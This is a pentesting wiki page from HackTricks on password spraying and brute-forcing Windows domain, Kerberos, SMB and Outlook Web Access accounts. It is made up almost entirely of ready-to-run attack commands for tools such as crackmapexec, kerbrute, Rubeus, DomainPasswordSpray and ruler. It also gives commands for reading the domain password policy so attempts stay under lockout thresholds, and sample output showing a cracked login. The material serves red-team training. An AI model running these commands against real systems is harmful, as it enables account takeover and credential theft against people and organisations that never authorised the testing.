> For the complete documentation index, see [llms.txt](https://angelica.gitbook.io/hacktricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://angelica.gitbook.io/hacktricks/windows-hardening/active-directory-methodology/password-spraying.md).
# Password Spraying / Brute Force
{% hint style="success" %}
Learn & practice AWS Hacking:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: 
[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## **Password Spraying**
Once you have found several **valid usernames** you can try the most **common passwords** (keep in mind the password policy of the environment) with each of the discovered users.\
By **default** the **minimum** **password** **length** is **7**.
Lists of common usernames could also be useful:
Notice that you **could lockout some accounts if you try several wrong passwords** (by default more than 10).
### Get password policy
If you have some user credentials or a shell as a domain user you can **get the password policy with**:
```bash
# From Linux
crackmapexec -u 'user' -p 'password' --pass-pol
enum4linux -u 'username' -p 'password' -P
rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo
ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
# From Windows
net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
### Exploitation from Linux (or all)
* Using **crackmapexec:**
```bash
crackmapexec smb -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
* Using [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
```bash
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
```
* [**spray**](https://github.com/Greenwolf/Spray) ***(you can indicate number of attempts to avoid lockouts):***
```bash
spray.sh -smb
```
* Using [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NOT RECOMMENDED SOMETIMES DOESN'T WORK
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
```
* With the `scanner/smb/smb_login` module of **Metasploit**:
* Using **rpcclient**:
```bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done
```
#### From Windows
* With [Rubeus](https://github.com/Zer1t0/Rubeus) version with brute module:
```bash
# with a list of users
.\Rubeus.exe brute /users: /passwords: /domain: /outfile:
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords: /outfile:
```
* With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (It can generate users from the domain by default and it will get the password policy from the domain and limit tries according to it):
```powershell
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
* With [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
```
Invoke-SprayEmptyPassword
```
## Brute Force
{% code overflow="wrap" %}
```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
```
{% endcode %}
## Outlook Web Access
There are multiples tools for p**assword spraying outlook**.
* With [MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
* with [MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
* With [Ruler](https://github.com/sensepost/ruler) (reliable!)
* With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
* With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
To use any of these tools, you need a user list and a password / a small list of passwords to spray.
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020
```
## Google
*
## Okta
*
*
*
## References
*
*
* [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
*
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}